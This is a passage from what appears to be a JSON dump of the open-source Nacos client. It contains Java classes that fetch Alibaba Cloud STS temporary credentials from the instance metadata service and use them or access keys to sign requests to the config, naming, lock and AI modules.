    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.ram.identify;\n\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\n/**\n * Sts config.\n *\n * @author Nacos\n */\npublic class StsConfig {\n    \n    private static final String RAM_SECURITY_CREDENTIALS_URL = \"http://100.100.100.200/latest/meta-data/ram/security-credentials/\";\n    \n    private String ramRoleName;\n    \n    /**\n     * The STS temporary certificate will be refreshed when the validity period of\n     * the temporary certificate is left (allow the local time to be at most slower than the STS service time).\n     */\n    private int timeToRefreshInMillisecond = 3 * 60 * 1000;\n    \n    /**\n     * Metadata interface for obtaining STS temporary credentials (including role name).\n     */\n    private String securityCredentialsUrl;\n    \n    /**\n     * Set the STS temporary certificate and no longer obtain it through the metadata interface.\n     */\n    private String securityCredentials;\n    \n    /**\n     * Whether to cache.\n     */\n    private boolean cacheSecurityCredentials = true;\n    \n    private static class Singleton {\n        \n        private static final StsConfig INSTANCE = new StsConfig();\n    }\n    \n    private StsConfig() {\n        String ramRoleName = NacosClientProperties.PROTOTYPE.getProperty(IdentifyConstants.RAM_ROLE_NAME_PROPERTY);\n        if (!StringUtils.isBlank(ramRoleName)) {\n            setRamRoleName(ramRoleName);\n        }\n        \n        String timeToRefreshInMillisecond = NacosClientProperties.PROTOTYPE.getProperty(IdentifyConstants.REFRESH_TIME_PROPERTY);\n        if (!StringUtils.isBlank(timeToRefreshInMillisecond)) {\n            setTimeToRefreshInMillisecond(Integer.parseInt(timeToRefreshInMillisecond));\n        }\n        \n        String securityCredentials = NacosClientProperties.PROTOTYPE.getProperty(IdentifyConstants.SECURITY_PROPERTY);\n        if (!StringUtils.isBlank(securityCredentials)) {\n            setSecurityCredentials(securityCredentials);\n        }\n        \n        String securityCredentialsUrl = NacosClientProperties.PROTOTYPE.getProperty(IdentifyConstants.SECURITY_URL_PROPERTY);\n        if (!StringUtils.isBlank(securityCredentialsUrl)) {\n            setSecurityCredentialsUrl(securityCredentialsUrl);\n        }\n        \n        String cacheSecurityCredentials = NacosClientProperties.PROTOTYPE.getProperty(IdentifyConstants.SECURITY_CACHE_PROPERTY);\n        if (!StringUtils.isBlank(cacheSecurityCredentials)) {\n            setCacheSecurityCredentials(Boolean.parseBoolean(cacheSecurityCredentials));\n        }\n    }\n    \n    public static StsConfig getInstance() {\n        return Singleton.INSTANCE;\n    }\n    \n    public String getRamRoleName() {\n        return ramRoleName;\n    }\n    \n    public void setRamRoleName(String ramRoleName) {\n        this.ramRoleName = ramRoleName;\n    }\n    \n    public int getTimeToRefreshInMillisecond() {\n        return timeToRefreshInMillisecond;\n    }\n    \n    public void setTimeToRefreshInMillisecond(int timeToRefreshInMillisecond) {\n        this.timeToRefreshInMillisecond = timeToRefreshInMillisecond;\n    }\n    \n    public String getSecurityCredentialsUrl() {\n        if (securityCredentialsUrl == null && ramRoleName != null) {\n            return RAM_SECURITY_CREDENTIALS_URL + ramRoleName;\n        }\n        return securityCredentialsUrl;\n    }\n    \n    public void setSecurityCredentialsUrl(String securityCredentialsUrl) {\n        this.securityCredentialsUrl = securityCredentialsUrl;\n    }\n    \n    public String getSecurityCredentials() {\n        return securityCredentials;\n    }\n    \n    public void setSecurityCredentials(String securityCredentials) {\n        this.securityCredentials = securityCredentials;\n    }\n    \n    public boolean isStsOn() {\n        return StringUtils.isNotEmpty(getSecurityCredentials()) || StringUtils.isNotEmpty(getSecurityCredentialsUrl());\n    }\n    \n    public boolean isCacheSecurityCredentials() {\n        return cacheSecurityCredentials;\n    }\n    \n    public void setCacheSecurityCredentials(boolean cacheSecurityCredentials) {\n        this.cacheSecurityCredentials = cacheSecurityCredentials;\n    }\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/auth/ram/identify/StsCredential.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.ram.identify;\n\nimport com.fasterxml.jackson.annotation.JsonProperty;\n\nimport java.util.Date;\n\n/**\n * Sts credential for aliyun RAM.\n *\n * @author xiweng.yy\n */\npublic class StsCredential {\n    \n    @JsonProperty(value = \"AccessKeyId\")\n    private String accessKeyId;\n    \n    @JsonProperty(value = \"AccessKeySecret\")\n    private String accessKeySecret;\n    \n    @JsonProperty(value = \"Expiration\")\n    private Date expiration;\n    \n    @JsonProperty(value = \"SecurityToken\")\n    private String securityToken;\n    \n    @JsonProperty(value = \"LastUpdated\")\n    private Date lastUpdated;\n    \n    @JsonProperty(value = \"Code\")\n    private String code;\n    \n    public String getAccessKeyId() {\n        return accessKeyId;\n    }\n    \n    public void setAccessKeyId(String accessKeyId) {\n        this.accessKeyId = accessKeyId;\n    }\n    \n    public String getAccessKeySecret() {\n        return accessKeySecret;\n    }\n    \n    public void setAccessKeySecret(String accessKeySecret) {\n        this.accessKeySecret = accessKeySecret;\n    }\n    \n    public Date getExpiration() {\n        return expiration;\n    }\n    \n    public void setExpiration(Date expiration) {\n        this.expiration = expiration;\n    }\n    \n    public String getSecurityToken() {\n        return securityToken;\n    }\n    \n    public void setSecurityToken(String securityToken) {\n        this.securityToken = securityToken;\n    }\n    \n    public Date getLastUpdated() {\n        return lastUpdated;\n    }\n    \n    public void setLastUpdated(Date lastUpdated) {\n        this.lastUpdated = lastUpdated;\n    }\n    \n    public String getCode() {\n        return code;\n    }\n    \n    public void setCode(String code) {\n        this.code = code;\n    }\n    \n    @Override\n    public String toString() {\n        return \"STSCredential{\" + \"accessKeyId='\" + accessKeyId + '\\'' + \", accessKeySecret='\" + accessKeySecret\n                + '\\'' + \", expiration=\" + expiration + \", securityToken='\" + securityToken + '\\''\n                + \", lastUpdated=\" + lastUpdated + \", code='\" + code + '\\'' + '}';\n    }\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/auth/ram/identify/StsCredentialHolder.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.ram.identify;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\nimport com.alibaba.nacos.client.remote.HttpClientManager;\nimport com.alibaba.nacos.common.http.HttpRestResult;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.http.param.Query;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.fasterxml.jackson.core.type.TypeReference;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * Sts credential holder.\n *\n * @author xiweng.yy\n */\npublic class StsCredentialHolder {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(StsCredentialHolder.class);\n    \n    private static final StsCredentialHolder INSTANCE = new StsCredentialHolder();\n    \n    private StsCredential stsCredential;\n    \n    private StsCredentialHolder() {\n    }\n    \n    public static StsCredentialHolder getInstance() {\n        return INSTANCE;\n    }\n    \n    /**\n     * Get Sts Credential.\n     *\n     * @return StsCredential\n     */\n    public StsCredential getStsCredential() {\n        boolean cacheSecurityCredentials = StsConfig.getInstance().isCacheSecurityCredentials();\n        if (cacheSecurityCredentials && stsCredential != null) {\n            long currentTime = System.currentTimeMillis();\n            long expirationTime = stsCredential.getExpiration().getTime();\n            int timeToRefreshInMillisecond = StsConfig.getInstance().getTimeToRefreshInMillisecond();\n            if (expirationTime - currentTime > timeToRefreshInMillisecond) {\n                return stsCredential;\n            }\n        }\n        String stsResponse = getStsResponse();\n        stsCredential = JacksonUtils.toObj(stsResponse, new TypeReference<StsCredential>() {\n        });\n        LOGGER.info(\"[getSTSCredential] code:{}, accessKeyId:{}, lastUpdated:{}, expiration:{}\",\n                stsCredential.getCode(), stsCredential.getAccessKeyId(), stsCredential.getLastUpdated(),\n                stsCredential.getExpiration());\n        return stsCredential;\n    }\n    \n    private static String getStsResponse() {\n        String securityCredentials = StsConfig.getInstance().getSecurityCredentials();\n        if (securityCredentials != null) {\n            return securityCredentials;\n        }\n        String securityCredentialsUrl = StsConfig.getInstance().getSecurityCredentialsUrl();\n        try {\n            HttpRestResult<String> result = HttpClientManager.getInstance().getNacosRestTemplate()\n                    .get(securityCredentialsUrl, Header.EMPTY, Query.EMPTY, String.class);\n            \n            if (!result.ok()) {\n                LOGGER.error(\n                        \"can not get security credentials, securityCredentialsUrl: {}, responseCode: {}, response: {}\",\n                        securityCredentialsUrl, result.getCode(), result.getMessage());\n                throw new NacosRuntimeException(NacosException.SERVER_ERROR,\n                        \"can not get security credentials, responseCode: \" + result.getCode() + \", response: \" + result\n                                .getMessage());\n            }\n            return result.getData();\n        } catch (Exception e) {\n            LOGGER.error(\"can not get security credentials\", e);\n            throw new NacosRuntimeException(NacosException.SERVER_ERROR, e);\n        }\n    }\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/auth/ram/injector/AbstractResourceInjector.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.ram.injector;\n\nimport com.alibaba.nacos.client.auth.ram.RamContext;\nimport com.alibaba.nacos.plugin.auth.api.LoginIdentityContext;\nimport com.alibaba.nacos.plugin.auth.api.RequestResource;\n\n/**\n * Abstract aliyun RAM resource injector.\n *\n * @author xiweng.yy\n */\npublic abstract class AbstractResourceInjector {\n    \n    /**\n     * Generate and inject resource into context. Default impl will do nothing.\n     *\n     * @param resource request resource\n     * @param context  ram context\n     * @param result   the result identity context\n     */\n    public void doInject(RequestResource resource, RamContext context, LoginIdentityContext result) {\n    }\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/auth/ram/injector/AiResourceInjector.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.ram.injector;\n\nimport com.alibaba.nacos.client.auth.ram.RamConstants;\nimport com.alibaba.nacos.client.auth.ram.RamContext;\nimport com.alibaba.nacos.client.auth.ram.identify.IdentifyConstants;\nimport com.alibaba.nacos.client.auth.ram.identify.StsConfig;\nimport com.alibaba.nacos.client.auth.ram.identify.StsCredential;\nimport com.alibaba.nacos.client.auth.ram.identify.StsCredentialHolder;\nimport com.alibaba.nacos.client.auth.ram.utils.CalculateV4SigningKeyUtil;\nimport com.alibaba.nacos.client.auth.ram.utils.SpasAdapter;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.plugin.auth.api.LoginIdentityContext;\nimport com.alibaba.nacos.plugin.auth.api.RequestResource;\n\nimport java.util.Map;\n\n/**\n * AI module aliyun ram reousce injector.\n *\n * @author xiweng.yy\n */\npublic class AiResourceInjector extends AbstractResourceInjector {\n    \n    private static final String ACCESS_KEY_HEADER = \"Spas-AccessKey\";\n    \n    @Override\n    public void doInject(RequestResource resource, RamContext context, LoginIdentityContext result) {\n        if (!context.validate()) {\n            return;\n        }\n        String accessKey = context.getAccessKey();\n        String secretKey = context.getSecretKey();\n        if (StsConfig.getInstance().isStsOn()) {\n            StsCredential stsCredential = StsCredentialHolder.getInstance().getStsCredential();\n            accessKey = stsCredential.getAccessKeyId();\n            secretKey = stsCredential.getAccessKeySecret();\n            result.setParameter(IdentifyConstants.SECURITY_TOKEN_HEADER, stsCredential.getSecurityToken());\n        }\n        result.setParameter(ACCESS_KEY_HEADER, accessKey);\n        String signatureKey = secretKey;\n        if (StringUtils.isNotEmpty(context.getRegionId())) {\n            signatureKey = CalculateV4SigningKeyUtil.finalSigningKeyStringWithDefaultInfo(secretKey,\n                    context.getRegionId());\n            result.setParameter(RamConstants.SIGNATURE_VERSION, RamConstants.V4);\n        }\n        Map<String, String> signHeaders = SpasAdapter.getSignHeaders(buildResourceString(resource), signatureKey);\n        result.setParameters(signHeaders);\n    }\n    \n    private String buildResourceString(RequestResource resource) {\n        return resource.getNamespace() + \"+\" + resource.getGroup();\n    }\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/auth/ram/injector/ConfigResourceInjector.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.ram.injector;\n\nimport com.alibaba.nacos.client.auth.ram.RamConstants;\nimport com.alibaba.nacos.client.auth.ram.RamContext;\nimport com.alibaba.nacos.client.auth.ram.identify.IdentifyConstants;\nimport com.alibaba.nacos.client.auth.ram.identify.StsConfig;\nimport com.alibaba.nacos.client.auth.ram.identify.StsCredential;\nimport com.alibaba.nacos.client.auth.ram.identify.StsCredentialHolder;\nimport com.alibaba.nacos.client.auth.ram.utils.CalculateV4SigningKeyUtil;\nimport com.alibaba.nacos.client.auth.ram.utils.SpasAdapter;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.plugin.auth.api.LoginIdentityContext;\nimport com.alibaba.nacos.plugin.auth.api.RequestResource;\n\nimport java.util.Map;\n\n/**\n * Resource Injector for naming module.\n *\n * @author xiweng.yy\n */\npublic class ConfigResourceInjector extends AbstractResourceInjector {\n    \n    private static final String ACCESS_KEY_HEADER = \"Spas-AccessKey\";\n    \n    private static final String DEFAULT_RESOURCE = \"\";\n    \n    @Override\n    public void doInject(RequestResource resource, RamContext context, LoginIdentityContext result) {\n        String accessKey = context.getAccessKey();\n        String secretKey = context.getSecretKey();\n        // STS 临时凭证鉴权的优先级高于 AK/SK 鉴权\n        if (StsConfig.getInstance().isStsOn()) {\n            StsCredential stsCredential = StsCredentialHolder.getInstance().getStsCredential();\n            accessKey = stsCredential.getAccessKeyId();\n            secretKey = stsCredential.getAccessKeySecret();\n            result.setParameter(IdentifyConstants.SECURITY_TOKEN_HEADER, stsCredential.getSecurityToken());\n        }\n        \n        if (StringUtils.isNotEmpty(accessKey) && StringUtils.isNotBlank(secretKey)) {\n            result.setParameter(ACCESS_KEY_HEADER, accessKey);\n        }\n        String signatureKey = secretKey;\n        if (StringUtils.isNotEmpty(context.getRegionId())) {\n            signatureKey = CalculateV4SigningKeyUtil\n                    .finalSigningKeyStringWithDefaultInfo(secretKey, context.getRegionId());\n            result.setParameter(RamConstants.SIGNATURE_VERSION, RamConstants.V4);\n        }\n        Map<String, String> signHeaders = SpasAdapter\n                .getSignHeaders(getResource(resource.getNamespace(), resource.getGroup()), signatureKey);\n        result.setParameters(signHeaders);\n    }\n    \n    private String getResource(String tenant, String group) {\n        if (StringUtils.isBlank(tenant)) {\n            if (StringUtils.isBlank(group)) {\n                return DEFAULT_RESOURCE;\n            } else {\n                return group;\n            }\n        } else {\n            return tenant + \"+\" + group;\n        }\n    }\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/auth/ram/injector/LockResourceInjector.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.ram.injector;\n\nimport com.alibaba.nacos.client.auth.ram.RamContext;\nimport com.alibaba.nacos.client.auth.ram.identify.IdentifyConstants;\nimport com.alibaba.nacos.client.auth.ram.identify.StsConfig;\nimport com.alibaba.nacos.client.auth.ram.identify.StsCredential;\nimport com.alibaba.nacos.client.auth.ram.identify.StsCredentialHolder;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.plugin.auth.api.LoginIdentityContext;\nimport com.alibaba.nacos.plugin.auth.api.RequestResource;\n\n/**\n * lock resource injector.\n *\n * @author 985492783@qq.com\n * @date 2023/9/17 1:10\n */\npublic class LockResourceInjector extends AbstractResourceInjector {\n    \n    private static final String AK_FIELD = \"ak\";\n    \n    @Override\n    public void doInject(RequestResource resource, RamContext context, LoginIdentityContext result) {\n        String accessKey = context.getAccessKey();\n        String secretKey = context.getSecretKey();\n        // STS 临时凭证鉴权的优先级高于 AK/SK 鉴权\n        if (StsConfig.getInstance().isStsOn()) {\n            StsCredential stsCredential = StsCredentialHolder.getInstance().getStsCredential();\n            accessKey = stsCredential.getAccessKeyId();\n            secretKey = stsCredential.getAccessKeySecret();\n            result.setParameter(IdentifyConstants.SECURITY_TOKEN_HEADER, stsCredential.getSecurityToken());\n        }\n        \n        if (StringUtils.isNotEmpty(accessKey) && StringUtils.isNotBlank(secretKey)) {\n            result.setParameter(AK_FIELD, accessKey);\n        }\n    }\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/auth/ram/injector/NamingResourceInjector.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.ram.injector;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.naming.utils.NamingUtils;\nimport com.alibaba.nacos.client.auth.ram.RamConstants;\nimport com.alibaba.nacos.client.auth.ram.RamContext;\nimport com.alibaba.nacos.client.auth.ram.identify.IdentifyConstants;\nimport com.alibaba.nacos.client.auth.ram.identify.StsConfig;\nimport com.alibaba.nacos.client.auth.ram.identify.StsCredential;\nimport com.alibaba.nacos.client.auth.ram.identify.StsCredentialHolder;\nimport com.alibaba.nacos.client.auth.ram.utils.CalculateV4SigningKeyUtil;\nimport com.alibaba.nacos.client.auth.ram.utils.SignUtil;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.plugin.auth.api.LoginIdentityContext;\nimport com.alibaba.nacos.plugin.auth.api.RequestResource;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * Resource Injector for naming module.\n *\n * @author xiweng.yy\n */\npublic class NamingResourceInjector extends AbstractResourceInjector {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(NamingResourceInjector.class);\n    \n    private static final String SIGNATURE_FILED = \"signature\";\n    \n    private static final String DATA_FILED = \"data\";\n    \n    private static final String AK_FILED = \"ak\";\n    \n    @Override\n    public void doInject(RequestResource resource, RamContext context, LoginIdentityContext result) {\n        if (context.validate()) {\n            try {\n                String accessKey = context.getAccessKey();\n                String secretKey = context.getSecretKey();\n                // STS 临时凭证鉴权的优先级高于 AK/SK 鉴权\n                if (StsConfig.getInstance().isStsOn()) {\n                    StsCredential stsCredential = StsCredentialHolder.getInstance().getStsCredential();\n                    accessKey = stsCredential.getAccessKeyId();\n                    secretKey = stsCredential.getAccessKeySecret();\n                    result.setParameter(IdentifyConstants.SECURITY_TOKEN_HEADER, stsCredential.getSecurityToken());\n                }\n                String signatureKey = secretKey;\n                if (StringUtils.isNotEmpty(context.getRegionId())) {\n                    signatureKey = CalculateV4SigningKeyUtil\n                            .finalSigningKeyStringWithDefaultInfo(secretKey, context.getRegionId());\n                    result.setParameter(RamConstants.SIGNATURE_VERSION, RamConstants.V4);\n                }\n                String signData = getSignData(getGroupedServiceName(resource));\n                String signature = SignUtil.sign(signData, signatureKey);\n                result.setParameter(SIGNATURE_FILED, signature);\n                result.setParameter(DATA_FILED, signData);\n                result.setParameter(AK_FILED, accessKey);\n            } catch (Exception e) {\n                LOGGER.error(\"inject ak/sk failed.\", e);\n            }\n        }\n    }\n    \n    private String getGroupedServiceName(RequestResource resource) {\n        if (resource.getResource().contains(Constants.SERVICE_INFO_SPLITER) || StringUtils\n                .isBlank(resource.getGroup())) {\n            return resource.getResource();\n        }\n        return NamingUtils.getGroupedNameOptional(resource.getResource(), resource.getGroup());\n    }\n    \n    private String getSignData(String serviceName) {\n        return StringUtils.isNotEmpty(serviceName) ? System.currentTimeMillis() + Constants.SERVICE_INFO_SPLITER\n                + serviceName : String.valueOf(System.currentTimeMillis());\n    }\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/auth/ram/utils/CalculateV4SigningKeyUtil.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.ram.utils;\n\nimport com.alibaba.nacos.client.auth.ram.RamConstants;\n\nimport javax.crypto.Mac;\nimport javax.crypto.spec.SecretKeySpec;\nimport java.nio.charset.StandardCharsets;\nimport java.security.InvalidKeyException;\nimport java.security.NoSuchAlgorithmException;\nimport java.time.LocalDateTime;\nimport java.time.ZoneId;\nimport java.time.format.DateTimeFormatter;\nimport java.util.Base64;\n\n/**\n * CalculateV4SigningKeyUtil.\n *\n * @author xiweng.yy\n */\npublic class CalculateV4SigningKeyUtil {\n    \n    private static final String PREFIX = \"aliyun_v4\";\n    \n    private static final String CONSTANT = \"aliyun_v4_request\";\n    \n    private static final DateTimeFormatter V4_SIGN_DATE_FORMATTER = DateTimeFormatter.ofPattern(\"yyyyMMdd\");\n    \n    private static final ZoneId UTC_0 = ZoneId.of(\"GMT+00:00\");\n    \n    private static byte[] firstSigningKey(String secret, String date, String signMethod)\n            throws NoSuchAlgorithmException, InvalidKeyException {\n        Mac mac = Mac.getInstance(signMethod);\n        mac.init(new SecretKeySpec((PREFIX + secret).getBytes(StandardCharsets.UTF_8), signMethod));\n        return mac.doFinal(date.getBytes(StandardCharsets.UTF_8));\n    }\n    \n    private static byte[] regionSigningKey(String secret, String date, String region, String signMethod)\n            throws NoSuchAlgorithmException, InvalidKeyException {\n        byte[] firstSignkey = firstSigningKey(secret, date, signMethod);\n        Mac mac = Mac.getInstance(signMethod);\n        mac.init(new SecretKeySpec(firstSignkey, signMethod));\n        return mac.doFinal(region.getBytes(StandardCharsets.UTF_8));\n    }\n    \n    private static byte[] finalSigningKey(String secret, String date, String region, String productCode,\n            String signMethod) {\n        try {\n            byte[] secondSignkey = regionSigningKey(secret, date, region, signMethod);\n            Mac mac = Mac.getInstance(signMethod);\n            mac.init(new SecretKeySpec(secondSignkey, signMethod));\n            byte[] thirdSigningKey = mac.doFinal(productCode.getBytes(StandardCharsets.UTF_8));\n            // 计算最终派生秘钥\n            mac = Mac.getInstance(signMethod);\n            mac.init(new SecretKeySpec(thirdSigningKey, signMethod));\n            return mac.doFinal(CONSTANT.getBytes(StandardCharsets.UTF_8));\n        } catch (NoSuchAlgorithmException e) {\n            throw new RuntimeException(\"unsupported Algorithm:\" + signMethod);\n        } catch (InvalidKeyException e) {\n            throw new RuntimeException(\"InvalidKey\");\n        }\n    }\n    \n    /**\n     * Return V4 signature key with base64 encode.\n     *\n     * @param secret      secret key\n     * @param date        date  with utc format, like 20211222\n     * @param region      region id\n     * @param productCode cloud product code\n     * @param signMethod  sign method\n     * @return V4 signature key with base64 encode\n     */\n    public static String finalSigningKeyString(String secret, String date, String region, String productCode,\n            String signMethod) {\n        return Base64.getEncoder().encodeToString(finalSigningKey(secret, date, region, productCode, signMethod));\n    }\n    \n    /**\n     * Return V4 signature key with base64 encode for some default information.\n     *\n     * <li>\n     *     <ul>date = current date</ul>\n     *     <ul>produceCode = mse</ul>\n     *     <ul>signMethod = HMAC-SHA256</ul>\n     * </li>\n     *\n     * @param secret secret key\n     * @param region region id\n     * @return V4 signature key with base64 encode\n     */\n    public static String finalSigningKeyStringWithDefaultInfo(String secret, String region) {\n        String signDate = LocalDateTime.now(UTC_0).format(V4_SIGN_DATE_FORMATTER);\n        return finalSigningKeyString(secret, signDate, region, RamConstants.SIGNATURE_V4_PRODUCE,\n                RamConstants.SIGNATURE_V4_METHOD);\n    }\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/auth/ram/utils/RamUtil.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.ram.utils;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.SystemPropertyKeyConst;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.util.Properties;\n\n/**\n * Util to get ram info, such as AK, SK and RAM role.\n *\n * @author xiweng.yy\n */\npublic class RamUtil {\n    \n    public static String getAccessKey(Properties properties) {\n        boolean isUseRamInfoParsing = Boolean.parseBoolean(properties\n                .getProperty(PropertyKeyConst.IS_USE_RAM_INFO_PARSING,\n                        System.getProperty(SystemPropertyKeyConst.IS_USE_RAM_INFO_PARSING,\n                                Constants.DEFAULT_USE_RAM_INFO_PARSING)));\n        \n        String result = properties.getProperty(PropertyKeyConst.ACCESS_KEY);\n        if (isUseRamInfoParsing && StringUtils.isBlank(result)) {\n            result = SpasAdapter.getAk();\n        }\n        return result;\n    }\n    \n    public static String getSecretKey(Properties properties) {\n        boolean isUseRamInfoParsing = Boolean.parseBoolean(properties\n                .getProperty(PropertyKeyConst.IS_USE_RAM_INFO_PARSING,\n                        System.getProperty(SystemPropertyKeyConst.IS_USE_RAM_INFO_PARSING,\n                                Constants.DEFAULT_USE_RAM_INFO_PARSING)));\n        \n        String result = properties.getProperty(PropertyKeyConst.SECRET_KEY);\n        if (isUseRamInfoParsing && StringUtils.isBlank(result)) {\n            result = SpasAdapter.getSk();\n        }\n        return result;\n    }\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/auth/ram/utils/SignUtil.java",
